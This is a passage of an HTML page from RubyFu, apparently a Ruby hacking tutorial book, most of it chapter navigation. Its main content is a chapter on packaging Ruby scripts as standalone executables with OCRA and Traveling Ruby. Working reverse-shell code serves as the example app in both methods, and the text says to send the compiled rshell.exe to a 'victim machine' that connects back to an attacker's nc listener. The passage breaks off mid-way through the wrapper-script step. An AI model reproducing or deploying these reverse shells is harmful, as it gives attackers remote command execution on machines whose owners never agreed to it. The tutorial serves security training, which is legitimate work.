<i class="fa fa-check"></i>
|
666
|
+
|
667
|
+
<b>4.</b>
|
668
|
+
|
669
|
+
Module 0x4 | Web Kung Fu
|
670
|
+
</a>
|
671
|
+
|
672
|
+
|
673
|
+
<ul class="articles">
|
674
|
+
|
675
|
+
|
676
|
+
<li class="chapter " data-level="4.1" data-path="module_0x4__web_kung_fu/sql_injection_scanner.html">
|
677
|
+
|
678
|
+
|
679
|
+
<a href="../module_0x4__web_kung_fu/sql_injection_scanner.html">
|
680
|
+
|
681
|
+
<i class="fa fa-check"></i>
|
682
|
+
|
683
|
+
<b>4.1.</b>
|
684
|
+
|
685
|
+
SQL Injection Scanner
|
686
|
+
</a>
|
687
|
+
|
688
|
+
|
689
|
+
</li>
|
690
|
+
|
691
|
+
<li class="chapter " data-level="4.2" data-path="module_0x4__web_kung_fu/databases.html">
|
692
|
+
|
693
|
+
|
694
|
+
<a href="../module_0x4__web_kung_fu/databases.html">
|
695
|
+
|
696
|
+
<i class="fa fa-check"></i>
|
697
|
+
|
698
|
+
<b>4.2.</b>
|
699
|
+
|
700
|
+
Databases
|
701
|
+
</a>
|
702
|
+
|
703
|
+
|
704
|
+
</li>
|
705
|
+
|
706
|
+
<li class="chapter " data-level="4.3" data-path="module_0x4__web_kung_fu/extending_burpsuite.html">
|
707
|
+
|
708
|
+
|
709
|
+
<a href="../module_0x4__web_kung_fu/extending_burpsuite.html">
|
710
|
+
|
711
|
+
<i class="fa fa-check"></i>
|
712
|
+
|
713
|
+
<b>4.3.</b>
|
714
|
+
|
715
|
+
Extending Burp Suite
|
716
|
+
</a>
|
717
|
+
|
718
|
+
|
719
|
+
</li>
|
720
|
+
|
721
|
+
<li class="chapter " data-level="4.4" data-path="module_0x4__web_kung_fu/browser_manipulation.html">
|
722
|
+
|
723
|
+
|
724
|
+
<a href="../module_0x4__web_kung_fu/browser_manipulation.html">
|
725
|
+
|
726
|
+
<i class="fa fa-check"></i>
|
727
|
+
|
728
|
+
<b>4.4.</b>
|
729
|
+
|
730
|
+
Browser Manipulation
|
731
|
+
</a>
|
732
|
+
|
733
|
+
|
734
|
+
</li>
|
735
|
+
|
736
|
+
<li class="chapter " data-level="4.5" data-path="module_0x4__web_kung_fu/web_servcies_and_apis.html">
|
737
|
+
|
738
|
+
|
739
|
+
<a href="../module_0x4__web_kung_fu/web_servcies_and_apis.html">
|
740
|
+
|
741
|
+
<i class="fa fa-check"></i>
|
742
|
+
|
743
|
+
<b>4.5.</b>
|
744
|
+
|
745
|
+
Web Services and APIs
|
746
|
+
</a>
|
747
|
+
|
748
|
+
|
749
|
+
<ul class="articles">
|
750
|
+
|
751
|
+
|
752
|
+
<li class="chapter " data-level="4.5.1" data-path="module_0x4__web_kung_fu/web_services.html">
|
753
|
+
|
754
|
+
|
755
|
+
<a href="../module_0x4__web_kung_fu/web_services.html">
|
756
|
+
|
757
|
+
<i class="fa fa-check"></i>
|
758
|
+
|
759
|
+
<b>4.5.1.</b>
|
760
|
+
|
761
|
+
Interacting with Web Services
|
762
|
+
</a>
|
763
|
+
|
764
|
+
|
765
|
+
</li>
|
766
|
+
|
767
|
+
<li class="chapter " data-level="4.5.2" data-path="module_0x4__web_kung_fu/interacting_with_apis.html">
|
768
|
+
|
769
|
+
|
770
|
+
<a href="../module_0x4__web_kung_fu/interacting_with_apis.html">
|
771
|
+
|
772
|
+
<i class="fa fa-check"></i>
|
773
|
+
|
774
|
+
<b>4.5.2.</b>
|
775
|
+
|
776
|
+
Interacting with APIs
|
777
|
+
</a>
|
778
|
+
|
779
|
+
|
780
|
+
<ul class="articles">
|
781
|
+
|
782
|
+
|
783
|
+
<li class="chapter " data-level="4.5.2.1" data-path="module_0x4__web_kung_fu/wordpress_api.html">
|
784
|
+
|
785
|
+
|
786
|
+
<a href="../module_0x4__web_kung_fu/wordpress_api.html">
|
787
|
+
|
788
|
+
<i class="fa fa-check"></i>
|
789
|
+
|
790
|
+
<b>4.5.2.1.</b>
|
791
|
+
|
792
|
+
WordPress API
|
793
|
+
</a>
|
794
|
+
|
795
|
+
|
796
|
+
</li>
|
797
|
+
|
798
|
+
<li class="chapter " data-level="4.5.2.2" data-path="module_0x4__web_kung_fu/twitter_api.html">
|
799
|
+
|
800
|
+
|
801
|
+
<a href="../module_0x4__web_kung_fu/twitter_api.html">
|
802
|
+
|
803
|
+
<i class="fa fa-check"></i>
|
804
|
+
|
805
|
+
<b>4.5.2.2.</b>
|
806
|
+
|
807
|
+
Twitter API
|
808
|
+
</a>
|
809
|
+
|
810
|
+
|
811
|
+
</li>
|
812
|
+
|
813
|
+
|
814
|
+
</ul>
|
815
|
+
|
816
|
+
</li>
|
817
|
+
|
818
|
+
|
819
|
+
</ul>
|
820
|
+
|
821
|
+
</li>
|
822
|
+
|
823
|
+
<li class="chapter " data-level="4.6" data-path="module_0x4__web_kung_fu/ruby2javascript.html">
|
824
|
+
|
825
|
+
|
826
|
+
<a href="../module_0x4__web_kung_fu/ruby2javascript.html">
|
827
|
+
|
828
|
+
<i class="fa fa-check"></i>
|
829
|
+
|
830
|
+
<b>4.6.</b>
|
831
|
+
|
832
|
+
Ruby 2 JavaScript
|
833
|
+
</a>
|
834
|
+
|
835
|
+
|
836
|
+
</li>
|
837
|
+
|
838
|
+
<li class="chapter " data-level="4.7" data-path="module_0x4__web_kung_fu/web_server_and_proxy.html">
|
839
|
+
|
840
|
+
|
841
|
+
<a href="../module_0x4__web_kung_fu/web_server_and_proxy.html">
|
842
|
+
|
843
|
+
<i class="fa fa-check"></i>
|
844
|
+
|
845
|
+
<b>4.7.</b>
|
846
|
+
|
847
|
+
Web Server and Proxy
|
848
|
+
</a>
|
849
|
+
|
850
|
+
|
851
|
+
</li>
|
852
|
+
|
853
|
+
|
854
|
+
</ul>
|
855
|
+
|
856
|
+
</li>
|
857
|
+
|
858
|
+
<li class="chapter " data-level="5" data-path="module_0x5__exploitation_kung_fu/index.html">
|
859
|
+
|
860
|
+
|
861
|
+
<a href="../module_0x5__exploitation_kung_fu/index.html">
|
862
|
+
|
863
|
+
<i class="fa fa-check"></i>
|
864
|
+
|
865
|
+
<b>5.</b>
|
866
|
+
|
867
|
+
Module 0x5 | Exploitation Kung Fu
|
868
|
+
</a>
|
869
|
+
|
870
|
+
|
871
|
+
<ul class="articles">
|
872
|
+
|
873
|
+
|
874
|
+
<li class="chapter " data-level="5.1" data-path="module_0x5__exploitation_kung_fu/fuzzer.html">
|
875
|
+
|
876
|
+
|
877
|
+
<a href="../module_0x5__exploitation_kung_fu/fuzzer.html">
|
878
|
+
|
879
|
+
<i class="fa fa-check"></i>
|
880
|
+
|
881
|
+
<b>5.1.</b>
|
882
|
+
|
883
|
+
Fuzzer
|
884
|
+
</a>
|
885
|
+
|
886
|
+
|
887
|
+
</li>
|
888
|
+
|
889
|
+
<li class="chapter " data-level="5.2" data-path="module_0x5__exploitation_kung_fu/metasploit.html">
|
890
|
+
|
891
|
+
|
892
|
+
<a href="../module_0x5__exploitation_kung_fu/metasploit.html">
|
893
|
+
|
894
|
+
<i class="fa fa-check"></i>
|
895
|
+
|
896
|
+
<b>5.2.</b>
|
897
|
+
|
898
|
+
Metasploit
|
899
|
+
</a>
|
900
|
+
|
901
|
+
|
902
|
+
<ul class="articles">
|
903
|
+
|
904
|
+
|
905
|
+
<li class="chapter " data-level="5.2.1" data-path="module_0x5__exploitation_kung_fu/auxiliary_module.html">
|
906
|
+
|
907
|
+
|
908
|
+
<a href="../module_0x5__exploitation_kung_fu/auxiliary_module.html">
|
909
|
+
|
910
|
+
<i class="fa fa-check"></i>
|
911
|
+
|
912
|
+
<b>5.2.1.</b>
|
913
|
+
|
914
|
+
Auxiliary module
|
915
|
+
</a>
|
916
|
+
|
917
|
+
|
918
|
+
</li>
|
919
|
+
|
920
|
+
<li class="chapter " data-level="5.2.2" data-path="module_0x5__exploitation_kung_fu/exploit_module.html">
|
921
|
+
|
922
|
+
|
923
|
+
<a href="../module_0x5__exploitation_kung_fu/exploit_module.html">
|
924
|
+
|
925
|
+
<i class="fa fa-check"></i>
|
926
|
+
|
927
|
+
<b>5.2.2.</b>
|
928
|
+
|
929
|
+
Exploit module
|
930
|
+
</a>
|
931
|
+
|
932
|
+
|
933
|
+
</li>
|
934
|
+
|
935
|
+
<li class="chapter " data-level="5.2.3" data-path="module_0x5__exploitation_kung_fu/meterpreter.html">
|
936
|
+
|
937
|
+
|
938
|
+
<a href="../module_0x5__exploitation_kung_fu/meterpreter.html">
|
939
|
+
|
940
|
+
<i class="fa fa-check"></i>
|
941
|
+
|
942
|
+
<b>5.2.3.</b>
|
943
|
+
|
944
|
+
Meterpreter
|
945
|
+
</a>
|
946
|
+
|
947
|
+
|
948
|
+
<ul class="articles">
|
949
|
+
|
950
|
+
|
951
|
+
<li class="chapter " data-level="5.2.3.1" data-path="module_0x5__exploitation_kung_fu/extensions.html">
|
952
|
+
|
953
|
+
|
954
|
+
<a href="../module_0x5__exploitation_kung_fu/extensions.html">
|
955
|
+
|
956
|
+
<i class="fa fa-check"></i>
|
957
|
+
|
958
|
+
<b>5.2.3.1.</b>
|
959
|
+
|
960
|
+
API and Extensions
|
961
|
+
</a>
|
962
|
+
|
963
|
+
|
964
|
+
</li>
|
965
|
+
|
966
|
+
<li class="chapter " data-level="5.2.3.2" data-path="module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
|
967
|
+
|
968
|
+
|
969
|
+
<a href="../module_0x5__exploitation_kung_fu/meterpreter_scripting.html">
|
970
|
+
|
971
|
+
<i class="fa fa-check"></i>
|
972
|
+
|
973
|
+
<b>5.2.3.2.</b>
|
974
|
+
|
975
|
+
Meterpreter Scripting
|
976
|
+
</a>
|
977
|
+
|
978
|
+
|
979
|
+
</li>
|
980
|
+
|
981
|
+
<li class="chapter " data-level="5.2.3.3" data-path="module_0x5__exploitation_kung_fu/railgun_api_extension.html">
|
982
|
+
|
983
|
+
|
984
|
+
<a href="../module_0x5__exploitation_kung_fu/railgun_api_extension.html">
|
985
|
+
|
986
|
+
<i class="fa fa-check"></i>
|
987
|
+
|
988
|
+
<b>5.2.3.3.</b>
|
989
|
+
|
990
|
+
Railgun API Extension
|
991
|
+
</a>
|
992
|
+
|
993
|
+
|
994
|
+
</li>
|
995
|
+
|
996
|
+
|
997
|
+
</ul>
|
998
|
+
|
999
|
+
</li>
|
1000
|
+
|
1001
|
+
|
1002
|
+
</ul>
|
1003
|
+
|
1004
|
+
</li>
|
1005
|
+
|
1006
|
+
<li class="chapter " data-level="5.3" data-path="module_0x5__exploitation_kung_fu/metasm.html">
|
1007
|
+
|
1008
|
+
|
1009
|
+
<a href="../module_0x5__exploitation_kung_fu/metasm.html">
|
1010
|
+
|
1011
|
+
<i class="fa fa-check"></i>
|
1012
|
+
|
1013
|
+
<b>5.3.</b>
|
1014
|
+
|
1015
|
+
metasm
|
1016
|
+
</a>
|
1017
|
+
|
1018
|
+
|
1019
|
+
</li>
|
1020
|
+
|
1021
|
+
|
1022
|
+
</ul>
|
1023
|
+
|
1024
|
+
</li>
|
1025
|
+
|
1026
|
+
<li class="chapter " data-level="6" data-path="module_0x6__forensic/index.html">
|
1027
|
+
|
1028
|
+
|
1029
|
+
<a href="../module_0x6__forensic/index.html">
|
1030
|
+
|
1031
|
+
<i class="fa fa-check"></i>
|
1032
|
+
|
1033
|
+
<b>6.</b>
|
1034
|
+
|
1035
|
+
Module 0x6 | Forensic Kung Fu
|
1036
|
+
</a>
|
1037
|
+
|
1038
|
+
|
1039
|
+
<ul class="articles">
|
1040
|
+
|
1041
|
+
|
1042
|
+
<li class="chapter " data-level="6.1" data-path="module_0x6__forensic/windows_forensic.html">
|
1043
|
+
|
1044
|
+
|
1045
|
+
<a href="../module_0x6__forensic/windows_forensic.html">
|
1046
|
+
|
1047
|
+
<i class="fa fa-check"></i>
|
1048
|
+
|
1049
|
+
<b>6.1.</b>
|
1050
|
+
|
1051
|
+
Windows Forensic
|
1052
|
+
</a>
|
1053
|
+
|
1054
|
+
|
1055
|
+
</li>
|
1056
|
+
|
1057
|
+
<li class="chapter " data-level="6.2" data-path="module_0x6__forensic/android_forensic.html">
|
1058
|
+
|
1059
|
+
|
1060
|
+
<a href="../module_0x6__forensic/android_forensic.html">
|
1061
|
+
|
1062
|
+
<i class="fa fa-check"></i>
|
1063
|
+
|
1064
|
+
<b>6.2.</b>
|
1065
|
+
|
1066
|
+
Android Forensic
|
1067
|
+
</a>
|
1068
|
+
|
1069
|
+
|
1070
|
+
</li>
|
1071
|
+
|
1072
|
+
<li class="chapter " data-level="6.3" data-path="module_0x3__network_kung_fu/network_traffic_analysis.html">
|
1073
|
+
|
1074
|
+
|
1075
|
+
<a href="../module_0x3__network_kung_fu/network_traffic_analysis.html">
|
1076
|
+
|
1077
|
+
<i class="fa fa-check"></i>
|
1078
|
+
|
1079
|
+
<b>6.3.</b>
|
1080
|
+
|
1081
|
+
Network Traffic Analysis
|
1082
|
+
</a>
|
1083
|
+
|
1084
|
+
|
1085
|
+
</li>
|
1086
|
+
|
1087
|
+
<li class="chapter " data-level="6.4" data-path="module_0x6__forensic/parsing_log_files.html">
|
1088
|
+
|
1089
|
+
|
1090
|
+
<a href="../module_0x6__forensic/parsing_log_files.html">
|
1091
|
+
|
1092
|
+
<i class="fa fa-check"></i>
|
1093
|
+
|
1094
|
+
<b>6.4.</b>
|
1095
|
+
|
1096
|
+
Parsing Log Files
|
1097
|
+
</a>
|
1098
|
+
|
1099
|
+
|
1100
|
+
</li>
|
1101
|
+
|
1102
|
+
|
1103
|
+
</ul>
|
1104
|
+
|
1105
|
+
</li>
|
1106
|
+
|
1107
|
+
<li class="chapter " data-level="7" data-path="references/index.html">
|
1108
|
+
|
1109
|
+
|
1110
|
+
<a href="../references/index.html">
|
1111
|
+
|
1112
|
+
<i class="fa fa-check"></i>
|
1113
|
+
|
1114
|
+
<b>7.</b>
|
1115
|
+
|
1116
|
+
References
|
1117
|
+
</a>
|
1118
|
+
|
1119
|
+
|
1120
|
+
</li>
|
1121
|
+
|
1122
|
+
<li class="chapter " data-level="8" data-path="faqs/index.html">
|
1123
|
+
|
1124
|
+
|
1125
|
+
<a href="../faqs/index.html">
|
1126
|
+
|
1127
|
+
<i class="fa fa-check"></i>
|
1128
|
+
|
1129
|
+
<b>8.</b>
|
1130
|
+
|
1131
|
+
FAQs
|
1132
|
+
</a>
|
1133
|
+
|
1134
|
+
|
1135
|
+
</li>
|
1136
|
+
|
1137
|
+
<li class="chapter " data-level="9" data-path="contributors/index.html">
|
1138
|
+
|
1139
|
+
|
1140
|
+
<a href="../contributors/index.html">
|
1141
|
+
|
1142
|
+
<i class="fa fa-check"></i>
|
1143
|
+
|
1144
|
+
<b>9.</b>
|
1145
|
+
|
1146
|
+
Contributors
|
1147
|
+
</a>
|
1148
|
+
|
1149
|
+
|
1150
|
+
<ul class="articles">
|
1151
|
+
|
1152
|
+
|
1153
|
+
<li class="chapter " data-level="9.1" data-path="contributors/todo.html">
|
1154
|
+
|
1155
|
+
|
1156
|
+
<a href="../contributors/todo.html">
|
1157
|
+
|
1158
|
+
<i class="fa fa-check"></i>
|
1159
|
+
|
1160
|
+
<b>9.1.</b>
|
1161
|
+
|
1162
|
+
TODO
|
1163
|
+
</a>
|
1164
|
+
|
1165
|
+
|
1166
|
+
</li>
|
1167
|
+
|
1168
|
+
|
1169
|
+
</ul>
|
1170
|
+
|
1171
|
+
</li>
|
1172
|
+
|
1173
|
+
|
1174
|
+
|
1175
|
+
|
1176
|
+
<li class="divider"></li>
|
1177
|
+
<li>
|
1178
|
+
<a href="https://www.gitbook.com" target="blank" class="gitbook-link">
|
1179
|
+
Published with GitBook
|
1180
|
+
</a>
|
1181
|
+
</li>
|
1182
|
+
|
1183
|
+
</ul>
|
1184
|
+
</nav>
|
1185
|
+
</div>
|
1186
|
+
|
1187
|
+
<div class="book-body">
|
1188
|
+
<div class="body-inner">
|
1189
|
+
<div class="book-header" role="navigation">
|
1190
|
+
<!-- Actions Left -->
|
1191
|
+
|
1192
|
+
|
1193
|
+
<!-- Title -->
|
1194
|
+
<h1>
|
1195
|
+
<i class="fa fa-circle-o-notch fa-spin"></i>
|
1196
|
+
<a href="../" >RubyFu</a>
|
1197
|
+
</h1>
|
1198
|
+
</div>
|
1199
|
+
|
1200
|
+
<div class="page-wrapper" tabindex="-1" role="main">
|
1201
|
+
<div class="page-inner">
|
1202
|
+
|
1203
|
+
|
1204
|
+
<section class="normal" id="section-">
|
1205
|
+
|
1206
|
+
<h1 id="module-0x2--system-kung-fu"><a name="module-0x2--system-kung-fu" class="plugin-anchor" href="#module-0x2--system-kung-fu"><span class="fa fa-link"></span></a>Module 0x2 | System Kung Fu</h1>
|
1207
|
+
<h2 id="packaging"><a name="packaging" class="plugin-anchor" href="#packaging"><span class="fa fa-link"></span></a>Packaging</h2>
|
1208
|
+
<p>Many questions about building a standalone application that doesn't require Ruby to be pre-installed on the system. Of-course, due attacking machine you cant grantee that ruby is installed on the target system. So here we will demonstrate some ways to do that.</p>
|
1209
|
+
<h3 id="oneclick-ruby-applicationocra-builder"><a name="oneclick-ruby-applicationocra-builder" class="plugin-anchor" href="#oneclick-ruby-applicationocra-builder"><span class="fa fa-link"></span></a>One-Click Ruby Application(OCRA) Builder</h3>
|
1210
|
+
<p>OCRA (One-Click Ruby Application) builds Windows executables from Ruby source code. The executable is a self-extracting, self-running executable that contains the Ruby interpreter, your source code and any additionally needed ruby libraries or DLL.</p>
|
1211
|
+
<p><strong>It's Windows support only</strong>, not really ;)</p>
|
1212
|
+
<ul>
|
1213
|
+
<li><p>Features</p>
|
1214
|
+
<blockquote>
|
1215
|
+
<ul>
|
1216
|
+
<li>LZMA Compression (optional, default on)</li>
|
1217
|
+
<li>Ruby 1.8.7, 1.9.3, 2.0.0 and 2.1.5 support</li>
|
1218
|
+
<li>Both windowed/console mode supported</li>
|
1219
|
+
<li>Includes gems based on usage, or from a Bundler Gemfile</li>
|
1220
|
+
</ul>
|
1221
|
+
</blockquote>
|
1222
|
+
</li>
|
1223
|
+
<li><p>To install OCRA</p>
|
1224
|
+
<pre><code>gem install ocra
|
1225
|
+
</code></pre></li>
|
1226
|
+
</ul>
|
1227
|
+
<p>So all what to need is to have your application.</p>
|
1228
|
+
<p>Suppose we have the following script, a reverse shell of course ;)</p>
|
1229
|
+
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
|
1230
|
+
<span class="hljs-comment"># KING SABRI | <span class="hljs-doctag">@KINGSABRI</span></span>
|
1231
|
+
<span class="hljs-keyword">require</span> <span class="hljs-string">'socket'</span>
|
1232
|
+
<span class="hljs-keyword">if</span> <span class="hljs-constant">ARGV</span>[<span class="hljs-number">0</span>].<span class="hljs-keyword">nil</span>? || <span class="hljs-constant">ARGV</span>[<span class="hljs-number">1</span>].<span class="hljs-keyword">nil</span>?
|
1233
|
+
puts <span class="hljs-string">"ruby <span class="hljs-subst">#{__FILE_<span class="hljs-number">_</span>}</span>.rb [HACKER_IP HACKER_PORT]\n\n"</span>
|
1234
|
+
exit
|
1235
|
+
<span class="hljs-keyword">end</span>
|
1236
|
+
ip, port = <span class="hljs-constant">ARGV</span>
|
1237
|
+
s = <span class="hljs-constant">TCPSocket</span>.new(ip,port)
|
1238
|
+
<span class="hljs-keyword">while</span> cmd = s.gets
|
1239
|
+
<span class="hljs-constant">IO</span>.popen(cmd,<span class="hljs-string">"r"</span>){|io|s.print io.read}
|
1240
|
+
<span class="hljs-keyword">end</span>
|
1241
|
+
</code></pre>
|
1242
|
+
<p>from our Windows Attacker machine cmd.exe</p>
|
1243
|
+
<pre><code>C:\Users\admin\Desktop>ocra rshell.rb --windows --console
|
1244
|
+
</code></pre><p>Results </p>
|
1245
|
+
<pre><code>C:\Users\admin\Desktop>ocra rshell.rb --windows --console
|
1246
|
+
=== Loading script to check dependencies
|
1247
|
+
ruby C:/Users/admin/Desktop/rshell.rb.rb [HACKER_IP HACKER_PORT]
|
1248
|
+
|
1249
|
+
=== Attempting to trigger autoload of Gem::ConfigFile
|
1250
|
+
=== Attempting to trigger autoload of Gem::DependencyList
|
1251
|
+
=== Attempting to trigger autoload of Gem::DependencyResolver
|
1252
|
+
=== Attempting to trigger autoload of Gem::Installer
|
1253
|
+
=== Attempting to trigger autoload of Gem::RequestSet
|
1254
|
+
=== Attempting to trigger autoload of Gem::Source
|
1255
|
+
=== Attempting to trigger autoload of Gem::SourceList
|
1256
|
+
=== Attempting to trigger autoload of Gem::SpecFetcher
|
1257
|
+
=== Attempting to trigger autoload of CGI::HtmlExtension
|
1258
|
+
=== Detected gem ocra-1.3.5 (loaded, files)
|
1259
|
+
=== 6 files, 191333 bytes
|
1260
|
+
=== Detected gem io-console-0.4.3 (loaded, files)
|
1261
|
+
=== WARNING: Gem io-console-0.4.3 root folder was not found, skipping
|
1262
|
+
=== Including 53 encoding support files (3424768 bytes, use --no-enc to exclude)
|
1263
|
+
=== Building rshell.exe
|
1264
|
+
=== Adding user-supplied source files
|
1265
|
+
=== Adding ruby executable ruby.exe
|
1266
|
+
=== Adding detected DLL C:/Ruby22/bin/zlib1.dll
|
1267
|
+
=== Adding detected DLL C:/Ruby22/bin/LIBEAY32.dll
|
1268
|
+
=== Adding detected DLL C:/Ruby22/bin/SSLEAY32.dll
|
1269
|
+
=== Adding detected DLL C:/Ruby22/bin/libffi-6.dll
|
1270
|
+
=== Adding library files
|
1271
|
+
=== Compressing 10622666 bytes
|
1272
|
+
=== Finished building rshell.exe (2756229 bytes)
|
1273
|
+
</code></pre><p>In the same directory, you'll find an exe file <code>rshell.exe</code>. Send it on the windows victim machine which doesn't have ruby installed and run it.</p>
|
1274
|
+
<pre><code>rshell.exe 192.168.0.14 9911
|
1275
|
+
</code></pre><p>from our attacking machine we already listening on 9911</p>
|
1276
|
+
<pre><code>nc -lvp 9911
|
1277
|
+
</code></pre><p><img src="packaging__ocra1.png" alt=""></p>
|
1278
|
+
<h3 id="travelingruby"><a name="travelingruby" class="plugin-anchor" href="#travelingruby"><span class="fa fa-link"></span></a>Traveling-ruby</h3>
|
1279
|
+
<p>From official site<sup><a href="#fn_1" id="reffn_1">1</a></sup> "<em>Traveling Ruby is a project which supplies self-contained, "portable" Ruby binaries: Ruby binaries that can run on any Linux distribution and any OS X machine. It also has Windows support (with some caveats). This allows Ruby app developers to bundle these binaries with their Ruby app, so that they can distribute a single package to end users, without needing end users to first install Ruby or gems.</em>"</p>
|
1280
|
+
<p>Note: The following script has been taken from the official docs.</p>
|
1281
|
+
<h4 id="preparation"><a name="preparation" class="plugin-anchor" href="#preparation"><span class="fa fa-link"></span></a>Preparation</h4>
|
1282
|
+
<pre><code>mkdir rshell
|
1283
|
+
cd rshell
|
1284
|
+
</code></pre><ul>
|
1285
|
+
<li>Create your application -in our case, reverse shell- in "rshell" folder</li>
|
1286
|
+
</ul>
|
1287
|
+
<p><strong>rshell.rb</strong></p>
|
1288
|
+
<pre><code class="lang-ruby"><span class="hljs-comment">#!/usr/bin/env ruby</span>
|
1289
|
+
<span class="hljs-comment"># KING SABRI | <span class="hljs-doctag">@KINGSABRI</span></span>
|
1290
|
+
<span class="hljs-keyword">require</span> <span class="hljs-string">'socket'</span>
|
1291
|
+
<span class="hljs-keyword">if</span> <span class="hljs-constant">ARGV</span>.size < <span class="hljs-number">2</span>
|
1292
|
+
puts <span class="hljs-string">"ruby <span class="hljs-subst">#{__FILE_<span class="hljs-number">_</span>}</span>.rb [HACKER_IP HACKER_PORT]\n\n"</span>
|
1293
|
+
exit <span class="hljs-number">0</span>
|
1294
|
+
<span class="hljs-keyword">end</span>
|
1295
|
+
ip, port = <span class="hljs-constant">ARGV</span>
|
1296
|
+
s = <span class="hljs-constant">TCPSocket</span>.open(ip,port).to_i
|
1297
|
+
exec sprintf(<span class="hljs-string">"/bin/sh -i <&%d >&%d 2>&%d"</span>,s,s,s)
|
1298
|
+
</code></pre>
|
1299
|
+
<ul>
|
1300
|
+
<li>Test it </li>
|
1301
|
+
</ul>
|
1302
|
+
<pre><code>ruby rshell.rb
|
1303
|
+
# => ruby rshell.rb.rb [HACKER_IP HACKER_PORT]
|
1304
|
+
</code></pre><h5 id="creating-package-directories"><a name="creating-package-directories" class="plugin-anchor" href="#creating-package-directories"><span class="fa fa-link"></span></a>Creating package directories</h5>
|
1305
|
+
<p>The next step is to prepare packages for all the target platforms, by creating a directory each platform, and by copying your app into each directory. (Assuming that your application could differ from OS to another)</p>
|
1306
|
+
<pre><code>mkdir -p rshell-1.0.0-linux-x86/lib/app
|
1307
|
+
cp rshell.rb rshell-1.0.0-linux-x86/lib/app/
|
1308
|
+
|
1309
|
+
mkdir -p rshell-1.0.0-linux-x86_64/lib/app
|
1310
|
+
cp rshell.rb rshell-1.0.0-linux-x86_64/lib/app/
|
1311
|
+
|
1312
|
+
mkdir -p rshell-1.0.0-osx/lib/app/
|
1313
|
+
cp rshell.rb rshell-1.0.0-osx/lib/app/
|
1314
|
+
</code></pre><p>Next, create a <code>packaging</code> directory and download Traveling Ruby binaries for each platform into that directory. Then extract these binaries into each packaging directory. You can find a list of binaries at the Traveling Ruby Amazon S3 bucket. For faster download times, use the CloudFront domain "<a href="http://d6r77u77i8pq3.cloudfront.net" target="_blank">http://d6r77u77i8pq3.cloudfront.net</a>". In this tutorial we're extracting version 20141215-2.1.5.</p>
|
1315
|
+
<pre><code>mkdir packaging
|
1316
|
+
cd packaging
|
1317
|
+
wget -c http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-linux-x86.tar.gz
|
1318
|
+
wget -c http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-linux-x86_64.tar.gz
|
1319
|
+
wget -c http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-20141215-2.1.5-osx.tar.gz
|
1320
|
+
cd ..
|
1321
|
+
|
1322
|
+
mkdir rshell-1.0.0-linux-x86/lib/ruby && tar -xzf packaging/traveling-ruby-20141215-2.1.5-linux-x86.tar.gz -C rshell-1.0.0-linux-x86/lib/ruby
|
1323
|
+
mkdir rshell-1.0.0-linux-x86_64/lib/ruby && tar -xzf packaging/traveling-ruby-20141215-2.1.5-linux-x86_64.tar.gz -C rshell-1.0.0-linux-x86_64/lib/ruby
|
1324
|
+
mkdir rshell-1.0.0-osx/lib/ruby && tar -xzf packaging/traveling-ruby-20141215-2.1.5-osx.tar.gz -C rshell-1.0.0-osx/lib/ruby
|
1325
|
+
</code></pre><p>Now, each package directory will have Ruby binaries included. It looks like this: Your directory structure will now look like this:</p>
|
1326
|
+
<pre><code>rshell/
|
1327
|
+
|
|
1328
|
+
+-- rshell.rb
|
1329
|
+
|
|
1330
|
+
+-- rshell-linux86/
|
1331
|
+
| |
|
1332
|
+
| +-- lib/
|
1333
|
+
| +-- app/
|
1334
|
+
| | |
|
1335
|
+
| | +-- rshell.rb
|
1336
|
+
| |
|
1337
|
+
| +-- ruby/
|
1338
|
+
| |
|
1339
|
+
| +-- bin/
|
1340
|
+
| | |
|
1341
|
+
| | +-- ruby
|
1342
|
+
| | +-- ...
|
1343
|
+
| +-- ...
|
1344
|
+
|
|
1345
|
+
+-- rshell-linux86_64/
|
1346
|
+
| |
|
1347
|
+
| ...
|
1348
|
+
|
|
1349
|
+
+-- rshell-osx/
|
1350
|
+
|
|
1351
|
+
...
|
1352
|
+
</code></pre><h5 id="quick-sanity-testing"><a name="quick-sanity-testing" class="plugin-anchor" href="#quick-sanity-testing"><span class="fa fa-link"></span></a>Quick sanity testing</h5>
|
1353
|
+
<p>Let's do a basic sanity test by running your app with a bundled Ruby interpreter. Suppose that you are developing on OS X. Run this:</p>
|
1354
|
+
<pre><code>cd rshell-osx
|
1355
|
+
./lib/ruby/bin/ruby lib/app/rshell.rb
|
1356
|
+
# => ruby rshell.rb.rb [HACKER_IP HACKER_PORT]
|
1357
|
+
|
1358
|
+
cd ..
|
1359
|
+
</code></pre><h5 id="creating-a-wrapper-script"><a name="creating-a-wrapper-script" class="plugin-anchor" href="#creating-a-wrapper-script"><span class="fa fa-link"></span></a>Creating a wrapper script</h5>
|
1360
|
+
<p>Now that you've verified that the bundled Ruby interpreter works, you'll want create a <em>wrapper script</em>. After all, you don't want your users to run <code>/path-to-your-app/lib/ruby/bin/ruby /path-to-your-app/lib/app/rshell.rb</code>. You want them to run /path-to-your-app/rshell.</p>
|
1361
|
+
<p>Here's what a wrapper script could look like:</p>
|
1362
|
+
<pre><code class="lang-bash"><span class="hljs-shebang">#!/bin/bash</span>
|
1363
|
+
<span class="hljs-built_in">set</span> <span class="hljs-operator">-e</span>
|
1364
|
+
|
1365
|
+
<span class="hljs-comment"># Figure out where this script is located.</span>
|
1366
|
+
SELFDIR=<span class="hljs-string">"`dirname \"<span class="hljs-variable">$0</span>\"`"</span>
|
1367
|
+
SELFDIR=<span class="hljs-string">"`cd \"<span class="hljs-variable">$SELFDIR</span>\" && pwd`"</span>
|
1368
|
+
|
1369
|
+
<span class="hljs-comment"># Run the actual app using the bundled Ruby interpreter.</span>
|
1370
|
+
<span class="hljs-built_in">exec</span> <span class="hljs-string">"<span class="hljs-variable">$SELFDIR</span>/lib/ruby/bin/ruby"</span> <span class="hljs-string">"<span class="hljs-variable">$SELFDIR</span>/lib/app/rshell.rb"</span>
|
1371
|
+
</code></pre>
|
1372
|
+
<p>Save this file as <code>packaging/wrapper.sh</code> in your project's root directory. Then you can copy it to each of your package directories and name it <code>rshell</code>:</p>
|
1373
|
+
<pre><code>chmod +x packaging/wrapper.sh
|
1374
|
+
cp packaging/wrapper.sh rshell-1.0.0-linux-x86/rshell
|
1375
|
+
